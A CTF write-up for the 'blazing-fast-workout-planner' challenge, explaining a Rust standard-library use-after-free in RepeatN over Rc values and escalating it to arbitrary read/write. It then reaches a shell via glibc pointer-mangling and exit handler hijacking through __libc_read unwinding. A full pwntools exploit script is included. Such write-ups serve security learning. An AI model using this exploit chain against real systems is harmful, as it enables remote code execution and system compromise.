/..

#CONTENT

#TOP

#blazing-fast-workout-planner

#first look

Here is the source code for the challenge:

main.rs
RS
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 
  38 
  39 
  40 
  41 
  42 
  43 
  44 
  45 
  46 
  47 
  48 
  49 
  50 
  51 
  52 
  53 
  54 
  55 
  56 
  57 
  58 
  59 
  60 
  61 
  62 
  63 
  64 
  65 
  66 
  67 
  68 
  69 
  70 
  71 
  72 
  73 
  74 
  75 
  76 
  77 
  78 
  79 
  80 
  81 
  82 
  83 
  84 
  85 
  86 
  87 
  88 
  89 
  90 
  91 
  92 
  93 
  94 
  95 
  96 
  97 
  98 
  99 
 100 
 101 
 102 
 103 
 104 
 105 
 106 
 107 
 108 
 109 
 110 
 111 
 112 
 113 
 114 
 115 
 116 
 117 
 118 
 119 
 120 
 121 
 122 
 123 
 124 
 125 
 126 
 127 
 128 
 129 
#![feature(get_mut_unchecked)]

use std::collections::BTreeMap;
use std::io::{self, Read, Stdin, Stdout, Write};
use std::iter::RepeatN;
use std::rc::Rc;

struct InputHelper {
    stdin: Stdin,
    stdout: Stdout,
    buf: Vec<u8>,
}

impl InputHelper {
    fn with_capacity(cap: usize) -> Self {
        let stdin = io::stdin();
        let stdout = io::stdout();
        Self {
            stdin,
            stdout,
            buf: vec![0u8; cap],
        }
    }

    fn ask(&mut self, msg: &str) -> &[u8] {
        self.stdout.write(msg.as_bytes()).unwrap();
        self.stdout.write(b"\n").unwrap();
        let len = self.stdin.read(&mut self.buf).unwrap();
        &self.buf[..len].trim_ascii()
    }

    fn ask_num(&mut self, msg: &str) -> i64 {
        let buf = self.ask(msg);
        std::str::from_utf8(buf).unwrap().parse().unwrap()
    }
}

#[derive(Debug)]
struct Exercise {
    name: Vec<u8>,
    description: Vec<u8>,
}

#[derive(Debug, Clone)]
struct Workout {
    exercises: Vec<RepeatN<Rc<Exercise>>>,
}

fn main() {
    let mut exercises = BTreeMap::new();
    let mut workouts = Vec::new();

    let mut input = InputHelper::with_capacity(0x100);

    println!("Welcome to your personal training helper! Here are your options:");
    loop {
        println!("1. : add a new exercise to your portfolio");
        println!("2. : plan a new workout");
        println!("3. : start a training session");
        println!("4. : edit an exercise");
        println!("5. : exit the app");

        let line = input.ask("Choose an option: ").trim_ascii();
        match &*line {
            b"1" => {
                let name = input.ask("What's the name of your exercise? ").to_owned();

                let description = input
                    .ask("what is the description of your exercise? ")
                    .to_owned();

                let name2 = name.clone();
                let exercise: Exercise = Exercise { name, description };
                exercises.insert(name2, Rc::new(exercise));
                println!("Exercise added!");
            }
            b"2" => {
                let num_exercises = input.ask_num("How many exercises should your workout have? ");
                let mut workout = Workout {
                    exercises: Vec::new(),
                };

                for _ in 0..num_exercises {
                    let name = input.ask("Enter the name of the exercise: ");
                    if let Some(exercise) = exercises.get(name) {
                        let num_repetitions =
                            input.ask_num("How many times should your exercise be repeated? ");
                        workout.exercises.push(std::iter::repeat_n(
                            Rc::clone(exercise),
                            num_repetitions as usize,
                        ));
                    } else {
                        println!("No exercise found with that name.");
                    }
                }

                println!("Your workout has id {}", workouts.len());
                workouts.push(workout);
            }
            b"3" => {
                let id = input.ask_num("what's the id of your workout? ");

                let workout = &workouts[id as usize];

                for exercise in workout.exercises.iter().cloned() {
                    for ex in exercise {
                        println!("{:?} - {:?}", ex.name, ex.description); // pls  help, this looks weird :(
                    }
                }
            }
            b"4" => {
                let name = input.ask("Enter the name of the exercise you want to edit: ");
                if let Some(exercise) = exercises.get_mut(name) {
                    let description = input.ask("Enter the new description: ");
                    unsafe {
                        Rc::get_mut_unchecked(exercise)
                            .description
                            .copy_from_slice(description)
                    }
                    println!("Exercise updated!");
                } else {
                    println!("No exercise found with that name.");
                }
            }
            b"5" => break,
            _ => println!("That was not a valid option"),
        }
    }
}

The challenge allows you to create Exercise structures and Workout structures

RS
#[derive(Debug)]
struct Exercise {
    name: Vec<u8>,
    description: Vec<u8>,
}

#[derive(Debug, Clone)]
struct Workout {
    exercises: Vec<RepeatN<Rc<Exercise>>>,
}

and always wraps Exercises in a Rc.

RS
                let exercise: Exercise = Exercise { name, description };
                exercises.insert(name2, Rc::new(exercise));
                println!("Exercise added!");

#std::rc::Rc

Rc stands for reference counted and is documented here in the rust documentation. Rc is a type that allows for shared ownership of a value through refcounting. When a Rc is created, the internal refcount is set to 1. When a Rc is cloned, the internal refcount is incremented, and when dropped the refcount is decremented. Modifying the Rc value is only allowed when the refcount is 1, meaning that there is only 1 owner and not breaking rusts shared mutability rules.

The internal structure of Rc looks like this:

C
struct RcBox<T> {
    size_t strong;
    size_t weak;
    T value;
};

struct Rc<T> {
    RcBox<T> * ptr;
};

All of the cloned copies of a Rc point to the same RcBox which is allocated on the heap. When the strong refcount reaches 0 the internal RcBox pointer is freed. This is safe because Rc disallows cloning once the refcount reaches 0.

#sus code 1

Immediately this part of the code looks suspicious:

RS
            b"4" => {
                let name = input.ask("Enter the name of the exercise you want to edit: ");
                if let Some(exercise) = exercises.get_mut(name) {
                    let description = input.ask("Enter the new description: ");
                    unsafe {
                        Rc::get_mut_unchecked(exercise)
                            .description
                            .copy_from_slice(description)
                    }
                    println!("Exercise updated!");
                } else {
                    println!("No exercise found with that name.");
                }
            }

since it contains an unsafe block. However this code, in the context of the rest of the program, is actually "safe", because if an Rc value exists in the hashmap the refcount must be at least 1 and the backing pointer is safe to write to the underlying value. This part of the code is not exploitable, even though it contains an unsafe block.

#sus code 2

The type of the workouts vec is Vec<RepeatN<Rc<Exercise>>>, which is unusual. I have never come across rust code that stored a RepeatN iterator combined with Rc values. A quick search for "RepeatN" and "Rc" brings up a github issue that mentions a uaf bug in the standard library involving RepeatN iterators over Rc values!

https://github.com/rust-lang/rust/issues/130140

The issue was opened on 09/09/24, and the provided rust-toolchain.toml pins the rustc version to nightly-2024-09-09. Not suspicious at all.

#stdlib uaf

What does RepeatN do? RepeatN is an iterator type that returns the wrapped value n times before terminating. The issues arises from how Rc interacts with RepeatN when the repeat count is 0.

This is the poc segfault provided by the github issue:

RS
use std::rc::Rc;
fn main() {
    let mut c = [0; 100];
    let x = std::iter::repeat_n(Rc::new(0), 0);
    let y = Box::new(&mut c);
    for _ in 0..100 {
        _ = x.clone();
    }
    y.fill(0);
}

When a RepeatN iterator is constructed with a count of 0 it will immediately drop the wrapped value. This causes problems for Rc because the backing pointer is freed, while RepeatN still holds a reference. Cloning the RepeatN iterator after the Rc value if freed will increment the RcBox<T>->strong count of the now freed backing pointer, giving an uaf increment primitive.

#uaf heap increment

In order to properly exploit this bug we need to allocate some heap object over the uaf'd object that has a useful value in the first qword (so it overlaps with RcBox<T>->strong). On gnu linux systems rust defaults to linking glibc and defers to glibc malloc to manage memory. RcBox<Exercise> gets allocated in a 0x50 sized chunk, we need to somehow reclaim the freed RcBox<Exercise> with a useful structure. Since we only control the first qword, the structure must have some useful field in the first qword that allows for further exploitation.

It turns out that the backing memory for the Workout->exercises vector is allocated in a 0x50 sized chunk!

The backing memory looks like this:

TEXT
         ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ uaf increment on this value
 +0x00 | pointer to RcBox<Exercise> | ━┓
 +0x08 | repeat count               | ━┻━━━ workout->exercises[0]
 +0x10 | pointer to RcBox<Exercise> | ━┓
 +0x18 | repeat count               | ━┻━━━ workout->exercises[1]

#arbitrary heap increment

Remember that the Workout->exercises vector stores RepeatN<Rc<Exercise>> values. The original uaf increment is initially achieved through RepeatN with a count of 0, but now we can control the RcBox<Exercise> pointer that RepeatN uses. Using the initial uaf increment to modify the RcBox<Exercise> pointer of another RepeatN, escalates the bug to arbitrary increment in the heap.

#arbitrary heap read/write

With arbitrary increment can now modify the backing pointer of the Exercise->description field.

RS
struct Exercise {
    name: Vec<u8>,
    description: Vec<u8>,
}

Modifying Exercise("A")->description to point to Exercise("B")->description escalates our arbitrary increment bug to arbitrary heap read/write. Using Exercise("A") to modify the description field of Exercise("B") to an arbitrary address, then read/writing from Exercise("B") to achieve arbitrary read/write.

RS
            b"4" => {
                let name = input.ask("Enter the name of the exercise you want to edit: ");
                if let Some(exercise) = exercises.get_mut(name) {
                    let description = input.ask("Enter the new description: ");
                    unsafe {
                        Rc::get_mut_unchecked(exercise)
                            .description
                            .copy_from_slice(description)
                    }
                    println!("Exercise updated!");
                } else {
                    println!("No exercise found with that name.");
                }
            }

#rce

Normally the go-to libc rce is overwriting stdout and using the wide vtable to call system("/bin/sh"), but this is rust the stdlib which does not use libc stdout and stdin. Instead they use the file descriptors directly, bypassing stdout and making fsop impossible.

Alternatively we can attack the destructors that are called in exit, but that causes its own issues because of all the heap pointers that have been modified, which crashes the program when main returns.

There is another novel method which I discovered while playing another ctf. The full call chain looks like:

C
__libc_read
┗━ SYSCALL_CANCEL
  ┗━ LIBC_CANCEL_ASYNC
    ┗━ __pthread_enable_asynccancel
      ┗━ __do_cancel
        ┗━ __pthread_unwind
          ┗━ _Unwind_ForcedUnwind
            ┗━ PTR_DEMANGLE(link()->ptr__Unwind_ForcedUnwind)

It only depends on the program using the __libc_read function. Breaking on __libc_read and running the challenge shows that __libc_read is used by rust stdlib!

RS
#0  __GI___libc_read (fd=0x0, buf=0x5555555c2b80, nbytes=0x2000)
    at ../sysdeps/unix/sysv/linux/read.c:25
#1  0x000055555559716e in std::sys::pal::unix::fd::FileDesc::read_buf ()
    at std/src/sys/pal/unix/fd.rs:156
#2  std::sys::pal::unix::stdio::{impl#1}::read_buf () at std/src/sys/pal/unix/stdio.rs:22
#3  std::io::stdio::{impl#0}::read_buf () at std/src/io/stdio.rs:104
#4  std::io::impls::{impl#0}::read_buf<std::io::stdio::StdinRaw> () at std/src/io/impls.rs:21
#5  std::io::buffered::bufreader::buffer::Buffer::fill_buf<&mut std::io::stdio::StdinRaw> ()
    at std/src/io/buffered/bufreader/buffer.rs:136
#6  std::io::buffered::bufreader::{impl#6}::fill_buf<std::io::stdio::StdinRaw> ()
    at std/src/io/buffered/bufreader.rs:433
#7  std::io::buffered::bufreader::{impl#5}::read<std::io::stdio::StdinRaw> ()
    at std/src/io/buffered/bufreader.rs:325
#8  0x0000555555597d66 in std::io::stdio::{impl#8}::read () at std/src/io/stdio.rs:499
#9  std::io::stdio::{impl#5}::read () at std/src/io/stdio.rs:433
#10 0x000055555557a29c in blazing_fast_workout_planner::InputHelper::ask (self=0x7fffffffd460, 
    msg="Choose an option: ") at src/main.rs:28
#11 0x000055555557a69a in blazing_fast_workout_planner::main () at src/main.rs:63

#elixir links:

__libc_read SYSCALL_CANCEL LIBC_CANCEL_ASYNC __pthread_enable_asynccancel __do_cancel __pthread_unwind _Unwind_ForcedUnwind __libc_unwind_link_get UNWIND_LINK_PTR

Here are the necessary requirements to trigger the call an arbitrary function (in this case exit):

RS
*((fs_base + 0x308) as *mut u64) = 8;
libc.global.ptr__Unwind_ForcedUnwind = PTR_MANGLE(exit);
libc.global_libgcc_handle = 1 as usize;
libc.__libc_single_threaded_internal = 0 as u8;

Also setup a destructor to trigger a shell:

RS
libc.__exit_funcs[0].fns[0].func.on.fn = PTR_MANGLE(system);
libc.__exit_funcs[0].fns[0].func.on.arg = &"/bin/sh";

#full solve

solve.py
PY
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 
  38 
  39 
  40 
  41 
  42 
  43 
  44 
  45 
  46 
  47 
  48 
  49 
  50 
  51 
  52 
  53 
  54 
  55 
  56 
  57 
  58 
  59 
  60 
  61 
  62 
  63 
  64 
  65 
  66 
  67 
  68 
  69 
  70 
  71 
  72 
  73 
  74 
  75 
  76 
  77 
  78 
  79 
  80 
  81 
  82 
  83 
  84 
  85 
  86 
  87 
  88 
  89 
  90 
  91 
  92 
  93 
  94 
  95 
  96 
  97 
  98 
  99 
 100 
 101 
 102 
 103 
 104 
 105 
 106 
 107 
 108 
 109 
 110 
 111 
 112 
 113 
 114 
 115 
 116 
 117 
 118 
 119 
 120 
 121 
 122 
 123 
 124 
 125 
 126 
 127 
 128 
 129 
 130 
 131 
 132 
 133 
 134 
 135 
 136 
 137 
 138 
 139 
 140 
 141 
 142 
 143 
 144 
 145 
 146 
 147 
 148 
 149 
 150 
 151 
 152 
 153 
 154 
 155 
 156 
 157 
 158 
 159 
 160 
 161 
 162 
 163 
 164 
 165 
 166 
 167 
 168 
 169 
 170 
 171 
 172 
 173 
 174 
 175 
 176 
 177 
 178 
 179 
 180 
 181 
 182 
 183 
 184 
 185 
 186 
 187 
 188 
 189 
 190 
 191 
 192 
 193 
 194 
 195 
 196 
 197 
 198 
 199 
 200 
 201 
 202 
 203 
 204 
from pwn import *
from pwnc.gdb.launch import attach
import builtins

if args.REMOTE:
    p = remote("162.55.187.21", "1024")
else:
    p = remote("localhost", 1024)
    p.recv(1)
p.settimeout(10)

file = ELF("./chall")
linker = ELF("./ld-linux-x86-64.so.2")
libc = ELF("./libc.so.6")

if args.GDB:
    g = attach("/chall", elf=file)

def tele(n: int):
    return g.parse_and_eval(f"(usize[{n}]*)0").type

exercises = []
def callback():
    global exercises
    val = g.parse_and_eval("value.ptr.pointer")
    val.format_string()
    exercises.append(val)

    return False

if args.GDB:
    track = g.bp(
        "alloc::collections::btree::map::BTreeMap<alloc::vec::Vec<u8, alloc::alloc::Global>, alloc::rc::Rc<blazing_fast_workout_planner::Exercise, alloc::alloc::Global>, alloc::alloc::Global>::insert<alloc::vec::Vec<u8, alloc::alloc::Global>, alloc::rc::Rc<blazing_fast_workout_planner::Exercise, alloc::alloc::Global>, alloc::alloc::Global>",
        callback
    )
    g.execute("b system")
    g.execute("c")

def send(after: bytes, val, line: bool = False):
    match type(val):
        case builtins.int | builtins.str:
            val = f"{val}".encode()
        case builtins.bytes:
            pass
    if line: exit("bad")
    p.sendafter(after, val.ljust(0x100, b" "))

def sendline(after: bytes, val):
    send(after, val, line=True)

def make_exercise(name: int, desc: int, name_size: int = 0, desc_size: int = 8):
    payload = b""
    payload += p64(1) * 2
    payload += p64(name_size)
    payload += p64(name)
    payload += p64(name_size)
    payload += p64(desc_size)
    payload += p64(desc)
    payload += p64(desc_size)
    payload += p64(1)
    return payload

def create_exercise(name: bytes, desc: bytes):
    send(b"option: \n", 1)
    send(b"? \n", name)
    send(b"? \n", desc)

if args.GDB:
    create_exercise = track.wait(create_exercise)

def plan_workout(exs: list[tuple[bytes, int]]):
    send(b"option: \n", 2)
    send(b"? \n", len(exs))
    for ex in exs:
        send(b": \n", ex[0])
        send(b"? \n", ex[1])
    p.recvuntil(b"Your workout has id ")
    return int(p.recvline())

def start_session(id: int):
    send(b"option: \n", 3)
    send(b"? \n", id)

    outputs = []
    while True:
        ch = p.recv(1)
        if ch != b"[":
            break

        name = bytes(eval("[" + p.recvuntil(b"]", drop=True).decode() + "]"))
        p.recvuntil(b" - ")
        desc = bytes(eval(p.recvline().decode()))
        outputs.append((name, desc))

    return outputs

def edit_exercise(name, desc):
    send(b"option: \n", 4)
    send(b": \n", name)
    send(b": \n", desc)

a = "a" * 0x18
b = "b" * 0x18
mapping = {}

create_exercise(a, "0")
id = plan_workout([
    (a, 0),
])
mapping[a] = id
create_exercise(a, "1")

victim = plan_workout([
    (a, 0),
])

tramp = "T" * 0x48
target = "X" * 0x48
create_exercise(tramp, "R" * 0x48)
create_exercise(target, "Y" * 0x48)

if args.GDB:
    print([str(ex) for ex in exercises])
    print(exercises[0].cast(tele(4))[0].format_string())

payload = b""
for _ in range(0x170):
    payload += b"3".ljust(0x100, b" ")
    payload += f"{mapping[a]}".encode().ljust(0x100, b" ")

send(b"option: \n", payload)
for _ in range(0x170-1):
    p.recvuntil(b"option: \n")

if args.GDB:
    print(exercises[0].cast(tele(4))[0].format_string())

payload = b""
for _ in range(0x1e0):
    payload += b"3".ljust(0x100, b" ")
    payload += f"{victim}".encode().ljust(0x100, b" ")

send(b"option: \n", payload)
for _ in range(0x1e0-1):
    p.recvuntil(b"option: \n")

print(f"{tramp = }")

leaker = plan_workout([
    (tramp, 1),
])
leaks = start_session(leaker)
leak = u64(leaks[0][1][0x18:0x20])
print(f"{leak = :#x}")
heapbase = leak - 0x3180
print(f"{heapbase = :#x}")

reader = plan_workout([
    (target, 1),
])

def arbread(addr: int):
    edit_exercise(tramp, make_exercise(heapbase, addr))
    leaks = start_session(reader)
    print(leaks)
    return leaks[0][1]

def arbwrite(addr: int, val: bytes):
    edit_exercise(tramp, make_exercise(heapbase, addr, desc_size=len(val)))
    assert b"\n" not in val
    edit_exercise(target, val)

leak = u64(arbread(heapbase + 0x470))
print(f"{leak = :#x}")
libc.address = leak - 0x202228
print(f"{libc.address = :#x}")

linker.address = u64(arbread(libc.address + 0x2046b8)) - 0x38000

fn = libc.address + 0x204fd8
enc = u64(arbread(fn))
mask = (1 << 64) - 1
cookie = (enc >> 17 & mask) | (enc << (64 - 17) & mask)
cookie ^= linker.sym._dl_fini

print(f"{cookie = :#x}")

enc = libc.sym.system ^ cookie
enc = (enc << 17 & mask) | (enc >> (64 - 17) & mask)
arbwrite(libc.sym.initial + 24, p64(enc) + p64(next(libc.search(b"/bin/sh\x00"))))

tls = u64(arbread(linker.address + 0x390a0)) - 0x9a0
print(f"{tls = :#x}")

enc = libc.sym.exit ^ cookie
enc = (enc << 17 & mask) | (enc >> (64 - 17) & mask)
arbwrite(tls + 0x308, p32(8))
arbwrite(libc.sym.global_libgcc_handle, p64(1))
arbwrite(libc.address + 0x20b080 + 8, p64(enc))
arbwrite(libc.sym.__libc_single_threaded_internal, p8(0))

if args.GDB:
    g.execute("interrupt")
p.interactive()